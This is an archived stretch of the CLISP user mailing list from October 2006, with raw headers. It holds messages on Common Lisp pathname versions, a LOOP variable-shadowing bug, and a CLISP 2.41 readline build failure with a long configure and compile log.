X-List-Received-Date: Mon, 30 Oct 2006 15:24:29 -0000 Sam Steingold writes: > Pascal Bourguignon wrote: > > P[98]> (block nil (maphash (lambda (k v) (print k) (return)) *source-= file-db*)) > >=20 > > #P"/a6/users/pjb/src/public/lisp/clisp/susv3-xsi.lisp"=20 > > NIL > > P[99]> (gethash #P"/a6/users/pjb/src/public/lisp/clisp/susv3-xsi.lisp= " *source-file-db*) > > NIL ; > > NIL >=20 > pathnames are not printed readably. > things like :version can be nil or newest without affecting the printed= =20 > representation. > the two identically printed pathnames above are probably different in=20 > that respect. Ok. In the hashtable I had paths gone thru TRUENAME. [ And I misread EQUAL, thinking that (=3D=3D> (functionnaly-equivalent-pathname-p a b) (EQUAL a b)) when it's actually (=3D=3D> (EQUAL a b) (functionnaly-equivalent-pathname-p a b)) ] Well #P is specified to be #.(parse-namestring 'path) and parse-namestring is specified to use *default-pathname-defaults* and I have (pathname-version *default-pathname-defaults*) --> :NEWEST so I'd expect (pathname-verson #P"/tmp/a.c") to be :NEWEST, not NIL, even if we're really in the implementation-defined clause of parse-namest= ring. It would give more consistency, without losing anything. People who want a null version for #P"/tmp/a.c" could set it so in *default-pathname-defaults*. P[157]> (print-pathname *default-pathname-defaults*) Host : NIL Device : NIL Directory : (:ABSOLUTE "a6" "users" "pjb" "src" "public" "lisp" "common-l= isp") Name : NIL Type : NIL Version : :NEWEST #P"/a6/users/pjb/src/public/lisp/common-lisp/" P[158]> (print-pathname #P"/tmp/a.c") Host : NIL Device : NIL Directory : (:ABSOLUTE "tmp") Name : "a" Type : "c" Version : NIL #P"/tmp/a.c" P[159]> (print-pathname (truename #P"/tmp/a.c")) Host : NIL Device : NIL Directory : (:ABSOLUTE "tmp") Name : "a" Type : "c" Version : :NEWEST #P"/tmp/a.c" P[160]>=20 --=20 __Pascal Bourguignon__ http://www.informatimago.com/ Nobody can fix the economy. Nobody can be trusted with their finger on the button. Nobody's perfect. VOTE FOR NOBODY. From zellerin@gmail.com Mon Oct 30 07:30:53 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GeZ6B-00082Q-MC for clisp-list@lists.sourceforge.net; Mon, 30 Oct 2006 07:30:51 -0800 Received: from wr-out-0506.google.com ([64.233.184.232]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GeZ67-0005jA-BA for clisp-list@lists.sourceforge.net; Mon, 30 Oct 2006 07:30:51 -0800 Received: by wr-out-0506.google.com with SMTP id i20so240938wra for ; Mon, 30 Oct 2006 07:30:46 -0800 (PST) Received: by 10.90.90.16 with SMTP id n16mr932314agb; Mon, 30 Oct 2006 07:30:46 -0800 (PST) Received: by 10.90.93.14 with HTTP; Mon, 30 Oct 2006 07:30:46 -0800 (PST) Message-ID: Date: Mon, 30 Oct 2006 16:30:46 +0100 From: "Tomas Zellerin" To: clisp-list@lists.sourceforge.net In-Reply-To: <20061027140242.05834331@galactus.example.org> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <20061027140242.05834331@galactus.example.org> X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: Re: [clisp-list] loop for vars on vars X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 30 Oct 2006 15:30:53 -0000 On 10/27/06, Bradley Reed wrote: > On Fri, 27 Oct 2006 09:07:13 +0200 > "Tomas Zellerin" wrote: > > > The expansion > > (macroexpand-1 '(loop for i from 0 to 10 for vars on vars do (print > > vars))) shows the reason. > > > > It doesn't seem to me that that line is necessarily the problem, > although I am not a clisp guru. In clisp 2.39... > > [1]> (setf vars '(1 2 3 4)) > (1 2 3 4) > [2]> (setf vars1 '(1 2 3 4)) > (1 2 3 4) > [3]> (loop for i from 0 to 10 for vars on vars1 do (print vars)) > > (1 2 3 4) > (2 3 4) > (3 4) > (4) > NIL > > [4]> (macroexpand-1 '(loop for i from 0 to 10 for vars on vars1 do (print vars))) > (MACROLET ((LOOP-FINISH NIL (SYSTEM::LOOP-FINISH-ERROR))) > (BLOCK NIL > (LET ((I 0)) > (PROGN > (LET ((VARS NIL)) > (LET NIL > (LET NIL > (MACROLET ((LOOP-FINISH NIL '(GO SYSTEM::END-LOOP))) > (TAGBODY (SETQ VARS VARS1) SYSTEM::BEGIN-LOOP (WHEN (> I 10) (LOOP-FINISH)) > (WHEN (ATOM VARS) (LOOP-FINISH)) (PROGN (PROGN (PRINT VARS))) (PSETQ I (+ I 1)) > (PSETQ VARS (CDR VARS)) (GO SYSTEM::BEGIN-LOOP) SYSTEM::END-LOOP > (MACROLET ((LOOP-FINISH NIL (SYSTEM::LOOP-FINISH-WARN) '(GO SYSTEM::END-LOOP))))))))))))) ; > T > > Has the same (LET ((VARS NIL)) line but works. Perhaps it is using the > wrong VARS in the (SETQ VARS VARS) segment? I do not understand the reasoning. The whole point is that the problem arises when the name of the loop variables is same as the expression that it should iterate on; as you have vars and vars1, the problem is not expected to appear - vars1 is not shadowed by vars. Regards, Tomas From pjb@informatimago.com Sun Oct 29 12:52:45 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GeHe9-0006lq-2H for clisp-list@lists.sourceforge.net; Sun, 29 Oct 2006 12:52:45 -0800 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GeHe5-0004nz-7o for clisp-list@lists.sourceforge.net; Sun, 29 Oct 2006 12:52:45 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 18DF7586A7; Sun, 29 Oct 2006 21:52:35 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id C59CA585E6; Sun, 29 Oct 2006 21:52:27 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 190A512AD83; Sun, 29 Oct 2006 21:52:27 +0100 (CET) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Message-Id: <20061029205227.190A512AD83@thalassa.informatimago.com> Date: Sun, 29 Oct 2006 21:52:27 +0100 (CET) X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Mailman-Approved-At: Mon, 30 Oct 2006 08:54:00 -0800 Subject: [clisp-list] 2.41 on linux can't compile (pb with readline) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 29 Oct 2006 20:52:45 -0000 Always with my same clisp-compile-linux script, 2.41 cannot be compiled on Linux. It fails on the readline module. I've updated to readline-5.2 but it keeps breaking the same way. ------------------------------------------------------------------------ #!/bin/bash version=3D$(awk -F=3D '/PACKAGE_VERSION=3D/{print substr($2,2,index($2," = ")-2);}' ./src/configure) if [ $# -ge 1 ] ; then version=3D$1 ; shift ; fi echo version=3D$version rm -rf /tmp/clisp-${version}-build/ time ./configure \ --prefix=3D/usr/local/languages/clisp-${version} \ --with-libz-prefix=3D/usr/local \ $(for m in \ zlib \ bindings/glibc \ clx/new-clx \ pcre \ rawsock \ regexp \ syscalls \ wildcard \ ; do \ if expr match "$m" 'i18n\|regexp\|syscalls' >/dev/null;\ then true already there ;\ else echo -n "--with-module=3D$m " ;\ fi ; done) \ --build /tmp/clisp-${version}-build \ --install ------------------------------------------------------------------------ ... configure: loading cache ../config.cache configure: ** Readline (Tools) checking for gcc... (cached) gcc checking for C compiler default output file name... a.out checking whether the C compiler works... yes checking whether we are cross compiling... no checking for suffix of executables...=20 checking for suffix of object files... (cached) o checking whether we are using the GNU C compiler... (cached) yes checking whether gcc accepts -g... (cached) yes checking for gcc option to accept ANSI C... (cached) none needed checking how to run the C preprocessor... (cached) gcc -E configure: ** Readline (Headers, Variables & Functions) checking for library containing tgetent... (cached) -lncurses checking for egrep... (cached) grep -E checking for ANSI C header files... (cached) yes checking for sys/types.h... (cached) yes checking for sys/stat.h... (cached) yes checking for stdlib.h... (cached) yes checking for string.h... (cached) yes checking for memory.h... (cached) yes checking for strings.h... (cached) yes checking for inttypes.h... (cached) yes checking for stdint.h... (cached) yes checking for unistd.h... (cached) yes checking for readline/readline.h... (cached) yes checking for readline... (cached) yes checking for rl_filename_completion_function... (cached) yes checking for filename_completion_function declaration... (cached)=20 extern char* rl_filename_completion_function(const char*, int); checking whether rl_already_prompted is declared... (cached) yes checking whether rl_readline_name is declared... (cached) yes checking whether rl_gnu_readline_p is declared... (cached) yes checking for a modern readline... found a modern GNU readline checking whether rl_library_version is declared... yes checking whether rl_readline_version is declared... yes checking whether rl_editing_mode is declared... yes checking whether rl_insert_mode is declared... yes checking whether rl_readline_state is declared... yes checking whether rl_line_buffer is declared... yes checking whether rl_point is declared... yes checking whether rl_end is declared... yes checking whether rl_mark is declared... yes checking whether rl_done is declared... yes checking whether rl_num_chars_to_read is declared... yes checking whether rl_pending_input is declared... yes checking whether rl_dispatching is declared... yes checking whether rl_erase_empty_line is declared... yes checking whether rl_prompt is declared... yes checking whether rl_terminal_name is declared... yes checking whether rl_instream is declared... yes checking whether rl_outstream is declared... yes checking whether rl_last_func is declared... yes checking whether rl_startup_hook is declared... yes checking whether rl_pre_input_hook is declared... yes checking whether rl_event_hook is declared... yes checking whether rl_getc_function is declared... yes checking for rl_set_prompt... yes checking for rl_initialize... yes checking for rl_read_init_file... yes checking for rl_add_defun... yes checking for rl_make_bare_keymap... yes checking for rl_copy_keymap... yes checking for rl_make_keymap... yes checking for rl_discard_keymap... yes checking for rl_get_keymap... yes checking for rl_set_keymap... yes checking for rl_get_keymap_by_name... yes checking for rl_bind_key... yes checking for rl_bind_key_in_map... yes checking for rl_bind_key_if_unbound... no checking for rl_bind_key_if_unbound_in_map... no checking for rl_unbind_key... yes checking for rl_unbind_key_in_map... yes checking for rl_unbind_function_in_map... yes checking for rl_unbind_command_in_map... yes checking for rl_bind_keyseq... no checking for rl_bind_keyseq_in_map... no checking for rl_bind_keyseq_if_unbound... no checking for rl_bind_keyseq_if_unbound_in_map... no checking for rl_generic_bind... yes checking for rl_parse_and_bind... yes checking for rl_named_function... yes checking for rl_function_of_keyseq... yes checking for rl_invoking_keyseqs... yes checking for rl_invoking_keyseqs_in_map... yes checking for rl_function_dumper... yes checking for rl_list_funmap_names... yes checking for rl_funmap_names... yes checking for rl_add_funmap_entry... yes checking for rl_begin_undo_group... yes checking for rl_end_undo_group... yes checking for rl_add_undo... yes checking for rl_free_undo_list... yes checking for rl_do_undo... yes checking for rl_modifying... yes checking for rl_redisplay... yes checking for rl_forced_update_display... yes checking for rl_on_new_line... yes checking for rl_on_new_line_with_prompt... yes checking for rl_reset_line_state... yes checking for rl_crlf... yes checking for rl_show_char... yes checking for rl_message... yes checking for rl_clear_message... yes checking for rl_save_prompt... yes checking for rl_restore_prompt... yes checking for rl_expand_prompt... yes checking for rl_insert_text... yes checking for rl_delete_text... yes checking for rl_copy_text... yes checking for rl_kill_text... yes checking for rl_push_macro_input... yes checking for rl_read_key... yes checking for rl_getc... yes checking for rl_stuff_char... yes checking for rl_execute_next... yes checking for rl_clear_pending_input... yes checking for rl_set_keyboard_input_timeout... yes checking for rl_prep_terminal... yes checking for rl_deprep_terminal... yes checking for rl_tty_set_default_bindings... yes checking for rl_reset_terminal... yes checking for rl_replace_line... yes checking for rl_extend_line_buffer... yes checking for rl_ding... yes checking for rl_display_match_list... yes checking for rl_variable_bind... yes checking for rl_macro_dumper... yes checking for rl_variable_dumper... yes checking for rl_set_paren_blink_timeout... yes checking for rl_get_termcap... yes checking for rl_resize_terminal... yes checking for rl_set_screen_size... yes checking for rl_get_screen_size... yes checking for rl_callback_handler_install... yes checking for rl_callback_read_char... yes checking for rl_callback_handler_remove... yes checking for using_history... yes checking for add_history... yes checking for clear_history... yes checking for stifle_history... yes checking for unstifle_history... yes checking for history_is_stifled... yes checking for where_history... yes checking for history_total_bytes... yes checking for history_set_pos... yes checking for history_search... yes checking for history_search_prefix... yes checking for history_search_pos... yes checking for read_history... yes checking for read_history_range... yes checking for write_history... yes checking for append_history... yes checking for history_truncate_file... yes configure: ** Readline (Output) updating cache ../config.cache configure: creating ./config.status config.status: creating Makefile config.status: creating link.sh config.status: creating config.h configure: ** Readline (Done) CLISP=3D"`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -E= 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd readline ; dots=3D`echo re= adline/ | sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; gmake clisp-modul= e CC=3D"gcc" CPPFLAGS=3D"" CFLAGS=3D"-g -O2 -W -Wswitch -Wcomment -Wpoint= er-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compar= e -O2 -fexpensive-optimizations -falign-functions=3D4 -DUNICODE -DDYNAMIC= _FFI -I." INCLUDES=3D"$dots" CLFLAGS=3D"-x none" LIBS=3D"libcharset.a lib= avcall.a libcallback.a -lreadline -lncurses -ldl -liconv -lsigsegv" RANL= IB=3D"ranlib" CLISP=3D"$CLISP -q" gmake[1]: Entering directory `/tmp/clisp-2.41-build/readline' /tmp/clisp-2.41-build/lisp.run -M /tmp/clisp-2.41-build/lispinit.mem -B /= tmp/clisp-2.41-build -N /tmp/clisp-2.41-build/locale -E 1:1 -Efile UTF-8 = -Eterminal UTF-8 -norc -q -c readline.lisp ;; Compiling file /tmp/clisp-2.41-build/readline/readline.lisp ... ;; Wrote file /tmp/clisp-2.41-build/readline/readline.fas ;; Wrote file /tmp/clisp-2.41-build/readline/readline.c 0 errors, 0 warnings gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-typ= e -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations = -falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -I.. -c readline.c -lre= adline gcc: -lreadline: linker input file unused because linking not done gmake[1]: Leaving directory `/tmp/clisp-2.41-build/readline' /usr/local/src/languages/clisp/clisp-2.41/src/lndir /usr/local/src/langua= ges/clisp/clisp-2.41/modules/zlib zlib m=3D`cd /usr/local/src/languages/clisp/clisp-2.41/modules/zlib; pwd`; \ if test -f zlib/configure -a zlib/configure -nt zlib/config.status ; then= cd zlib ; \ ( cache=3D`echo zlib/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache; \ if test -f ${cache} ; then . ${cache}; \ if test "${ac_cv_env_CC_set}" =3D set; then CC=3D"${ac_cv_env_CC_va= lue}"; export CC; fi; \ if test "${ac_cv_env_CFLAGS_set}" =3D set; then CFLAGS=3D"${ac_cv_e= nv_CFLAGS_value}"; export CFLAGS; fi; \ /bin/sh ./configure --cache-file=3D${cache} --srcdir=3D$m --with-dy= namic-ffi --with-libz-prefix=3D/usr/local;\ else /bin/sh ./configure --srcdir=3D$m --with-dynamic-ffi --with-libz= -prefix=3D/usr/local; \ fi ) ;\ fi configure: loading cache ../config.cache configure: ** Zlib (Tools) checking for gcc... (cached) gcc checking for C compiler default output file name... a.out checking whether the C compiler works... yes checking whether we are cross compiling... no checking for suffix of executables...=20 checking for suffix of object files... (cached) o checking whether we are using the GNU C compiler... (cached) yes checking whether gcc accepts -g... (cached) yes checking for gcc option to accept ANSI C... (cached) none needed checking how to run the C preprocessor... (cached) gcc -E checking build system type... (cached) i686-pc-linux-gnu checking host system type... (cached) i686-pc-linux-gnu checking for ld used by GCC... (cached) /usr/i486-suse-linux/bin/ld checking if the linker (/usr/i486-suse-linux/bin/ld) is GNU ld... (cached= ) yes checking for shared library run path origin... (cached) done checking how to link with libz... /usr/local/lib/libz.so -Wl,-rpath -Wl,/= usr/local/lib configure: ** Zlib (Headers) checking for egrep... (cached) grep -E checking for ANSI C header files... (cached) yes checking for sys/types.h... (cached) yes checking for sys/stat.h... (cached) yes checking for stdlib.h... (cached) yes checking for string.h... (cached) yes checking for memory.h... (cached) yes checking for strings.h... (cached) yes checking for inttypes.h... (cached) yes checking for stdint.h... (cached) yes checking for unistd.h... (cached) yes checking zlib.h usability... yes checking zlib.h presence... yes checking for zlib.h... yes configure: ** Zlib (Functions) checking for library containing compress2... none required checking for compressBound... yes configure: ** Zlib (Output) updating cache ../config.cache configure: creating ./config.status config.status: creating Makefile config.status: creating link.sh config.status: creating config.h configure: ** Zlib (Done) CLISP=3D"`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -E= 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd zlib ; dots=3D`echo zlib/ = | sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; gmake clisp-module CC=3D"= gcc" CPPFLAGS=3D"" CFLAGS=3D"-g -O2 -W -Wswitch -Wcomment -Wpointer-arith= -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -f= expensive-optimizations -falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I.= " INCLUDES=3D"$dots" CLFLAGS=3D"-x none" LIBS=3D"libcharset.a libavcall.a= libcallback.a -lreadline -lncurses -ldl -liconv -lsigsegv" RANLIB=3D"ra= nlib" CLISP=3D"$CLISP -q" gmake[1]: Entering directory `/tmp/clisp-2.41-build/zlib' /tmp/clisp-2.41-build/lisp.run -M /tmp/clisp-2.41-build/lispinit.mem -B /= tmp/clisp-2.41-build -N /tmp/clisp-2.41-build/locale -E 1:1 -Efile UTF-8 = -Eterminal UTF-8 -norc -q -c zlib.lisp ;; Compiling file /tmp/clisp-2.41-build/zlib/zlib.lisp ... ;; Wrote file /tmp/clisp-2.41-build/zlib/zlib.fas ;; Wrote file /tmp/clisp-2.41-build/zlib/zlib.c 0 errors, 0 warnings gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-typ= e -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations = -falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -I.. -c zlib.c gmake[1]: Leaving directory `/tmp/clisp-2.41-build/zlib' /usr/local/src/languages/clisp/clisp-2.41/src/lndir /usr/local/src/langua= ges/clisp/clisp-2.41/modules/bindings/glibc bindings/glibc m=3D`cd /usr/local/src/languages/clisp/clisp-2.41/modules/bindings/glibc;= pwd`; \ if test -f bindings/glibc/configure -a bindings/glibc/configure -nt bindi= ngs/glibc/config.status ; then cd bindings/glibc ; \ ( cache=3D`echo bindings/glibc/ | sed -e 's,[^/][^/]*//*,../,g'`config.= cache; \ if test -f ${cache} ; then . ${cache}; \ if test "${ac_cv_env_CC_set}" =3D set; then CC=3D"${ac_cv_env_CC_va= lue}"; export CC; fi; \ if test "${ac_cv_env_CFLAGS_set}" =3D set; then CFLAGS=3D"${ac_cv_e= nv_CFLAGS_value}"; export CFLAGS; fi; \ /bin/sh ./configure --cache-file=3D${cache} --srcdir=3D$m --with-dy= namic-ffi --with-libz-prefix=3D/usr/local;\ else /bin/sh ./configure --srcdir=3D$m --with-dynamic-ffi --with-libz= -prefix=3D/usr/local; \ fi ) ;\ fi CLISP=3D"`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -E= 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd bindings/glibc ; dots=3D`e= cho bindings/glibc/ | sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; gmake= clisp-module CC=3D"gcc" CPPFLAGS=3D"" CFLAGS=3D"-g -O2 -W -Wswitch -Wcom= ment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno= -sign-compare -O2 -fexpensive-optimizations -falign-functions=3D4 -DUNICO= DE -DDYNAMIC_FFI -I." INCLUDES=3D"$dots" CLFLAGS=3D"-x none" LIBS=3D"libc= harset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -liconv -ls= igsegv" RANLIB=3D"ranlib" CLISP=3D"$CLISP -q" gmake[1]: Entering directory `/tmp/clisp-2.41-build/bindings/glibc' /tmp/clisp-2.41-build/lisp.run -M /tmp/clisp-2.41-build/lispinit.mem -B /= tmp/clisp-2.41-build -N /tmp/clisp-2.41-build/locale -E 1:1 -Efile UTF-8 = -Eterminal UTF-8 -norc -q -c linux.lisp ;; Compiling file /tmp/clisp-2.41-build/bindings/glibc/linux.lisp ... ;; Wrote file /tmp/clisp-2.41-build/bindings/glibc/linux.fas ;; Wrote file /tmp/clisp-2.41-build/bindings/glibc/linux.c 0 errors, 0 warnings gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-typ= e -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations = -falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -I../.. -c linux.c /tmp/clisp-2.41-build/lisp.run -M /tmp/clisp-2.41-build/lispinit.mem -B /= tmp/clisp-2.41-build -N /tmp/clisp-2.41-build/locale -E 1:1 -Efile UTF-8 = -Eterminal UTF-8 -norc -q -c wrap.lisp ;; Compiling file /tmp/clisp-2.41-build/bindings/glibc/wrap.lisp ... ;; Wrote file /tmp/clisp-2.41-build/bindings/glibc/wrap.fas 0 errors, 0 warnings gmake[1]: Leaving directory `/tmp/clisp-2.41-build/bindings/glibc' /usr/local/src/languages/clisp/clisp-2.41/src/lndir /usr/local/src/langua= ges/clisp/clisp-2.41/modules/clx/new-clx clx/new-clx m=3D`cd /usr/local/src/languages/clisp/clisp-2.41/modules/clx/new-clx; pw= d`; \ if test -f clx/new-clx/configure -a clx/new-clx/configure -nt clx/new-clx= /config.status ; then cd clx/new-clx ; \ ( cache=3D`echo clx/new-clx/ | sed -e 's,[^/][^/]*//*,../,g'`config.cac= he; \ if test -f ${cache} ; then . ${cache}; \ if test "${ac_cv_env_CC_set}" =3D set; then CC=3D"${ac_cv_env_CC_va= lue}"; export CC; fi; \ if test "${ac_cv_env_CFLAGS_set}" =3D set; then CFLAGS=3D"${ac_cv_e= nv_CFLAGS_value}"; export CFLAGS; fi; \ /bin/sh ./configure --cache-file=3D${cache} --srcdir=3D$m --with-dy= namic-ffi --with-libz-prefix=3D/usr/local;\ else /bin/sh ./configure --srcdir=3D$m --with-dynamic-ffi --with-libz= -prefix=3D/usr/local; \ fi ) ;\ fi configure: loading cache ../../config.cache configure: ** NEW CLX checking for gcc... (cached) gcc checking for C compiler default output file name... a.out checking whether the C compiler works... yes checking whether we are cross compiling... no checking for suffix of executables...=20 checking for suffix of object files... (cached) o checking whether we are using the GNU C compiler... (cached) yes checking whether gcc accepts -g... (cached) yes checking for gcc option to accept ANSI C... (cached) none needed checking whether time.h and sys/time.h may both be included... (cached) y= es checking how to run the C preprocessor... (cached) gcc -E checking for egrep... (cached) grep -E checking for ANSI C header files... (cached) yes checking for sys/types.h... (cached) yes checking for sys/stat.h... (cached) yes checking for stdlib.h... (cached) yes checking for string.h... (cached) yes checking for memory.h... (cached) yes checking for strings.h... (cached) yes checking for inttypes.h... (cached) yes checking for stdint.h... (cached) yes checking for unistd.h... (cached) yes checking sys/socket.h usability... yes checking sys/socket.h presence... yes checking for sys/socket.h... yes checking for netdb.h... (cached) yes checking for netinet/in.h... (cached) yes checking for X... (cached) libraries /usr/X11R6/lib, headers /usr/X11R6/i= nclude checking for gethostbyname... (cached) yes checking for connect... (cached) yes checking for remove... (cached) yes checking for shmat... (cached) yes checking for IceConnectionNumber in -lICE... (cached) yes checking for XGetAtomNames... yes checking for Xpm library... yes checking for X shape extension... yes configure: ** NEW CLX (output) updating cache ../../config.cache configure: creating ./config.status config.status: creating Makefile config.status: creating link.sh config.status: creating config.h configure: ** NEW CLX (done) CLISP=3D"`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -E= 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd clx/new-clx ; dots=3D`echo= clx/new-clx/ | sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; gmake clisp= -module CC=3D"gcc" CPPFLAGS=3D"" CFLAGS=3D"-g -O2 -W -Wswitch -Wcomment -= Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-= compare -O2 -fexpensive-optimizations -falign-functions=3D4 -DUNICODE -DD= YNAMIC_FFI -I." INCLUDES=3D"$dots" CLFLAGS=3D"-x none" LIBS=3D"libcharset= .a libavcall.a libcallback.a -lreadline -lncurses -ldl -liconv -lsigsegv= " RANLIB=3D"ranlib" CLISP=3D"$CLISP -q" gmake[1]: Entering directory `/tmp/clisp-2.41-build/clx/new-clx' /tmp/clisp-2.41-build/lisp.run -M /tmp/clisp-2.41-build/lispinit.mem -B /= tmp/clisp-2.41-build -N /tmp/clisp-2.41-build/locale -E 1:1 -Efile UTF-8 = -Eterminal UTF-8 -norc -q -i clx-preload.lisp -c clx.lisp ;; Loading file clx-preload.lisp ... ;; Loaded file clx-preload.lisp ;; Compiling file /tmp/clisp-2.41-build/clx/new-clx/clx.lisp ... ;; Wrote file /tmp/clisp-2.41-build/clx/new-clx/clx.fas The following functions were used but not defined: XLIB::%GCONTEXT-KEY->MASK XLIB::LOOKUP-PIXMAP XLIB::PIXMAP-ID XLIB::ATOM-NAME XLIB::INTERN-ATOM XLIB::LOOKUP-WINDOW XLIB::WINDOW-ID XLIB::VISUAL-INFO XLIB::LOOKUP-RESOURCE-ID XLIB::DRAWABLE-ID XLIB::GCONTEXT-ID XLIB::CURSOR-ID XLIB::FONT-ID XLIB::LOOKUP-COLORMAP XLIB::WINDOW-DISPLAY XLIB::COLORMAP-ID XLIB::CARD8->CHAR XLIB::GET-PROPERTY XLIB::CHAR->CARD8 XLIB::CHANGE-PROPERTY XLIB::SCREEN-ROOT XLIB::DISPLAY-ROOTS XLIB::LIST-PROPERTIES XLIB::ROTATE-PROPERTIES XLIB::COLORMAP-VISUAL-INFO XLIB::DISPLAY-DISPLAY XLIB::DISPLAY-HOST XLIB::DISPLAY-PROTOCOL-MAJOR-VERSION XLIB::DISPLAY-PROTOCOL-MINOR-VERSION XLIB::DISPLAY-RELEASE-NUMBER XLIB::DISPLAY-VENDOR-NAME XLIB::DRAWABLE-HEIGHT XLIB::DRAWABLE-WIDTH XLIB::DRAWABLE-X XLIB::DRAWABLE-Y XLIB::%UNTRACED-COLOR-RED XLIB::%UNTRACED-COLOR-GREEN XLIB::%UNTRACED-COLOR-BLUE XLIB::%UNTRACED-DISPLAY-DISPLAY XLIB::%UNTRACED-DISPLAY-VENDOR-NAME XLIB::%UNTRACED-DISPLAY-RELEASE-NUMBER XLIB::%UNTRACED-DISPLAY-PROTOCOL-MAJOR-VERSION XLIB::%UNTRACED-DISPLAY-PROTOCOL-MINOR-VERSION XLIB::%UNTRACED-COLORMAP-VISUAL-INFO XLIB::%UNTRACED-VISUAL-INFO-CLASS XLIB::CLOSED-DISPLAY-P XLIB::%UNTRACED-DRAWABLE-WIDTH XLIB::%UNTRACED-DRAWABLE-HEIGHT XLIB::%UNTRACED-DRAWABLE-X XLIB::%UNTRACED-DRAWABLE-Y XLIB::%UNTRACED-DISPLAY-HOST XLIB::CREATE-IMAGE XLIB::MAKE-EVENT-MASK 0 errors, 0 warnings /tmp/clisp-2.41-build/lisp.run -M /tmp/clisp-2.41-build/lispinit.mem -B /= tmp/clisp-2.41-build -N /tmp/clisp-2.41-build/locale -E 1:1 -Efile UTF-8 = -Eterminal UTF-8 -norc -q -i clx-preload.lisp -c image.lisp ;; Loading file clx-preload.lisp ... ;; Loaded file clx-preload.lisp ;; Compiling file /tmp/clisp-2.41-build/clx/new-clx/image.lisp ... ;; Wrote file /tmp/clisp-2.41-build/clx/new-clx/image.fas The following functions were used but not defined: XLIB::CREATE-PIXMAP XLIB::CREATE-GCONTEXT XLIB::PUT-IMAGE XLIB::COPY-AREA XLIB::FREE-GCONTEXT 0 errors, 0 warnings /tmp/clisp-2.41-build/lisp.run -M /tmp/clisp-2.41-build/lispinit.mem -B /= tmp/clisp-2.41-build -N /tmp/clisp-2.41-build/locale -E 1:1 -Efile UTF-8 = -Eterminal UTF-8 -norc -q -i clx-preload.lisp -c resource.lisp ;; Loading file clx-preload.lisp ... ;; Loaded file clx-preload.lisp ;; Compiling file 